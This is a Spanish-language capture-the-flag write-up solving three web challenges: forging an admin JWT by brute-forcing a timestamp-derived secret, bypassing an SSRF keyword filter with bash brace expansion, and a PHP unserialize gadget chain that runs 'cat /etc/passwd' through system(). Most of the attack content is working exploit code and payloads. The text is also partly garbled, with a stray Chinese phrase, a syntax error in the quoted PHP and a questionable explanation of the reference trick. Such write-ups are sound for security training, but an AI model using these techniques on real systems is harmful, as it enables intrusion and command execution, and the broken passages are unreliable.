Solucionario de challenges web - Competicion 2023

easy-API

Este challenge proporciona el codigo fuente. Analicemos los archivos.

main.py:

from fastapi import FastAPI, Depends
from fastapi.exceptions import HTTPException
from fastapi.responses import FileResponse
from fastapi.security import OAuth2PasswordRequestForm
from os import path
from .auth import User, Group, Token, verify_user, get_user_token
router = FastAPI()

@router.post("/login", status_code=200, response_model=Token)
async def login(auth_data: OAuth2PasswordRequestForm = Depends()) -> Token:
    return get_user_token(auth_data.username, auth_data.password)

@router.get("/whoami", status_code=200, response_model=User)
async def whoami(user: User = Depends(verify_user)) -> User:
    return user

@router.get("/files", status_code=200, response_class=FileResponse)
async def get_file(filename: str, user: User = Depends(verify_user)) -> FileResponse:
    if user.group != Group.admin: raise HTTPException(status_code=400, detail="only administrators can download file from this server")
    filepath = path.join('files', filename)
    if not path.exists(filepath): raise HTTPException(status_code=404, detail="file not found")
    return FileResponse(filepath)

auth.py:

from enum import Enum
from fastapi import Depends, HTTPException
from fastapi.security import OAuth2PasswordBearer
from pydantic import BaseModel, Field
from jose import jwt, JWTError
from datetime import datetime, timedelta
from hashlib import pbkdf2_hmac, md5
from secrets import compare_digest

user_db = {
    "ethane": {
        "username": "ethane",
        "group": "user",
        "md5_password": "e10adc3949ba59abbe56e057f20f883e"
    },
    "propane": {
        "username": "propane",
        "group": "admin",
        "md5_password": "**censored**"
    }
}

TOKEN_EXPIRE_HOUR = 2
TOKEN_SECRET_KEY = pbkdf2_hmac("sha1", datetime.now().ctime().encode(), salt="Octane".encode(), iterations=100_000)
TOKEN_HASH_ALGORITHM = "HS256"

class AuthException(HTTPException):
    def __init__(self, detail: str) -> None:
        super().__init__(status_code=401, detail=detail, headers={"WWW-Authenticate": "Bearer"})

class Group(str, Enum):
    user = 'user'
    admin = 'admin'

class User(BaseModel):
    username: str
    group: Group = Group.user
    md5_password: str = Field(exclude=True)

class Token(BaseModel):
    access_token: str
    token_type: str

oath2 = OAuth2PasswordBearer(tokenUrl="./login")

def get_user_token(username: str, password: str) -> Token:
    if not username in user_db: raise AuthException(detail="invalid username")
    user = User(**user_db[username])
    if not compare_digest(md5(password.encode()).hexdigest(), user.md5_password): raise AuthException(detail="incorrect password")
    return Token(
        access_token=jwt.encode({**user.model_dump(), "exp": datetime.now()+timedelta(hours=TOKEN_EXPIRE_HOUR)}, key=TOKEN_SECRET_KEY, algorithm=TOKEN_HASH_ALGORITHM),
        token_type="bearer"
    )

def verify_user(token: str = Depends(oath2)) -> User:
    try:
        payload = jwt.decode(token, key=TOKEN_SECRET_KEY, algorithms=[TOKEN_HASH_ALGORITHM])
        return User(**user_db[payload["username"]])
    except (JWTError, KeyError): raise AuthException(detail="invalid token")

Analisis del desafio

La logica de la aplicacion es la siguiente: primero,我们必须 acceder a la ruta /login con credecniales validas de la base de datos para ejecutar la funcion get_user_token. Despues, obtenemos un token JWT y lo usamos para acceder a la ruta /files. Si el token indica que somos administrador, podemos ejecutar una lectura arbitraria de archivos.

El problema principal es que no conocemos la contrasena del usuario administrador. Por lo tanto, el vector de ataque principle es la falsificacion de JWT.

La clave secreta se genera asi:

TOKEN_SECRET_KEY = pbkdf2_hmac("sha1", datetime.now().ctime().encode(), salt="Octane".encode(), iterations=100_000)

Se utiliza el algoritmo pbkdf2, donde la clave depende del tiempo de inicio del contenedor, con la sal "Octane".

Primero, usamos una cuenta conoicda (ethane) y con un diccionario de contrasenas debiles obtenemos: 123456

Luego interceptamos la respuesta para obtener un JWT valido. Despues, usamos este JWT para adivinar la clave secreta y generar un nuevo token con privilegios de administrador.

import jwt
from hashlib import pbkdf2_hmac
from datetime import datetime, timedelta

# Informacion conocida
jwt_valido = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImV0aGFuZSIsImdyb3VwIjoidXNlciIsImV4cCI6MTcxOTk2MDE1N30.tDPbJPhBL48JZnOKDqD1c_uot0bIuIODssi2qrZG04I"
tiempo_inicio = datetime(2024, 7, 2, 20, 39, 50)
tiempo_fin = datetime(2024, 7, 2, 20, 40, 50)

def generar_clave_secreta(momento):
    return pbkdf2_hmac("sha1", momento.ctime().encode(), salt="Octane".encode(), iterations=100_000)

def buscar_tiempo_correcto():
    tiempo_actual = tiempo_inicio
    while tiempo_actual <= tiempo_fin:
        try:
            clave_secreta = generar_clave_secreta(tiempo_actual)
            decodificado = jwt.decode(jwt_valido, clave_secreta, algorithms=["HS256"])
            if decodificado["username"] == "ethane":
                return tiempo_actual
        except jwt.exceptions.DecodeError:
            pass
        tiempo_actual += timedelta(seconds=1)
    return None

def generar_jwt_administrador(tiempo_correcto):
    datos_usuario = {"username": "propane", "group": "admin"}
    clave_secreta = generar_clave_secreta(tiempo_correcto)
    nuevo_payload = {'username': datos_usuario["username"], 'group': datos_usuario["group"], "exp": datetime.now() + timedelta(hours=2)}
    nuevo_token = jwt.encode(nuevo_payload, clave_secreta, algorithm="HS256")
    return nuevo_token

tiempo_correcto = buscar_tiempo_correcto()
if tiempo_correcto:
    print(f"Tiempo de inicio del contenedor: {tiempo_correcto}")
    nuevo_jwt = generar_jwt_administrador(tiempo_correcto)
    print(f"Nuevo JWT: {nuevo_jwt}")
else:
    print("No se encontro el tiempo coincidente")

Ejecutando el script obtenemos el token necesario. Luego hacemos una peticion a /files con el JWT en el header Authorization.

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InByb3BhbmUiLCJncm91cCI6ImFkbWluIiwiZXhwIjoxNzE5OTU4NDI0fQ.3GMW2L_Sm_8mfO5d5F7-ySB3q4n3ZNbVsEvDD2btrMQ
Content-Type: application/json

Cuando probamos con filename=flag obtenemos un fake flag. El verdadero flag esta en el directorio raiz, por lo que usamos /flag para obtenerlo.

let_us_read_the_doc

<?php
/*
Read /flag
Hint: read curl's manpage.
*/
highlight_file(__FILE__);
$url = 'file:///var/www/html/hi.txt';
if(
    array_key_exists('x', $_GET) &&
    !str_contains(strtolower($_GET['x']),'file') && 
    !str_contains(strtolower($_GET['x']),'flag')
){
    $url = $_GET['x'];
}
system('curl '.escapeshellarg($url));
?>

Un desafio simple de SSRF (Server Side Request Forgery). Se puede observar que filtra las palabras "file" y "flag" sin distincion de mayusculas. Sin embargo, como se ejecuta mediante system(), podemos usar sintaxis de bash para evadir el filtro.

?x=f{i}le:///fl{a}g

realez_unserialize

<?php
show_source(__FILE__);

class Cache {
    public $key;
    public $value;
    public $expired;
    public $helper;
 
    public function __construct($key, $value, $helper) {
        $this->key = $key;
        $this->value = $value;
        $this->helper = $helper;
        $this->expired = False;
    }
 
    public function __wakeup() {
        $this->expired = False;
    }
 
    public function expired() {
        if ($this->expired) {
            $this->helper->clean($this->key);
            return True;
        } else {
            return False;
        }
    }
}
 
class Storage {
    public $store;
 
    public function __construct() {
        $this->store = array();
    }
    
    public function __set($name, $value) {
        if (!$this->store) 
            $this->store = array();
        }
 
        if (!$value->expired()) {
            $this->store[$name] = $value;
        }
    }
 
    public function __get($name) {
        return $this->data[$name];
    }
}
 
class Helper {
    public $funcs;
 
    public function __construct($funcs) {
        $this->funcs = $funcs;
    }
 
    public function __call($name, $args) {
        $this->funcs[$name](...$args);
    }
}
 
class DataObject {
    public $storage;
    public $data;
 
    public function __destruct() {
        foreach ($this->data as $key => $value) {
            $this->storage->$key = $value;
        }
    }
}
 
if (isset($_GET['u'])) {
    unserialize($_GET['u']);
}
?>

Analisis de la cadena de explotacion

La cadena de objetos a exploitar es:

DataObject.__destruct() -> Storage.__set() -> Cache.expired() -> Helper.__call()

Punto clave del desafio

El desafio principal es evadir el metodo __wakeup de la clase Cache, ya que si se ejecuta, establece expired a False y no se activara el metodo expired() para invocar Helper.__call().

El metodo clasico de evadir __wakeup es modificar el numero de propiedades en la cadena serializada. Sin embargo, en versiones modernas de PHP esta vulnerabilidad no funciona.

La solucion es usar referencias. Si podemos modificar la propiedad expired despues de que __wakeup la establezca a False, podemos lograr la explotacion. La clase Storage es la unica que puede modificar esta propiedad.

La estrategia consiste en crear dos objetos Cache: uno para modificar expired mediante referencia, y otro para ejecutar la cadena de explotacion real.

<?php
class Cache
{
    public $key;
    public $value;
    public $expired;
    public $helper;
}
class Helper
{
    public $funcs;
}
class Storage
{
    public $store;
}
class DataObject
{
    public $storage;
    public $data;
}

// Configurar la funcion a ejecutar
$helper = new Helper();
$helper->funcs = array('clean' => 'system');

// Primer objeto para evadir
$cache1 = new Cache();
$cache1->expired = False;

// Segundo objeto para la explotacion real
$cache2 = new Cache();
$cache2->helper = $helper;
$cache2->key = 'cat /etc/passwd';

// Storage para la manipulacion
$storage = new Storage();

// Usar referencia para que expired apunte al mismo valor que store
$storage->store = &$cache2->expired;

// Punto de entrada
$dataObject = new DataObject();
$dataObject->data = array('key1' => $cache1, 'key2' => $cache2);
$dataObject->storage = $storage;
echo serialize($dataObject);
?>

Con esta configuracion, cuando se procesa cache1, store se establece como un array no vacio. Cuando cache2 verifica expired(), el resultado es verdadero (porque store y expired comparten la misma referencia), lo que permite ejecutar la funcion del sistema y completar la cadena de explotacion.

Etiquetas: ctf Web-Security JWT PHP unserialize

Publicado el 6-30 20:59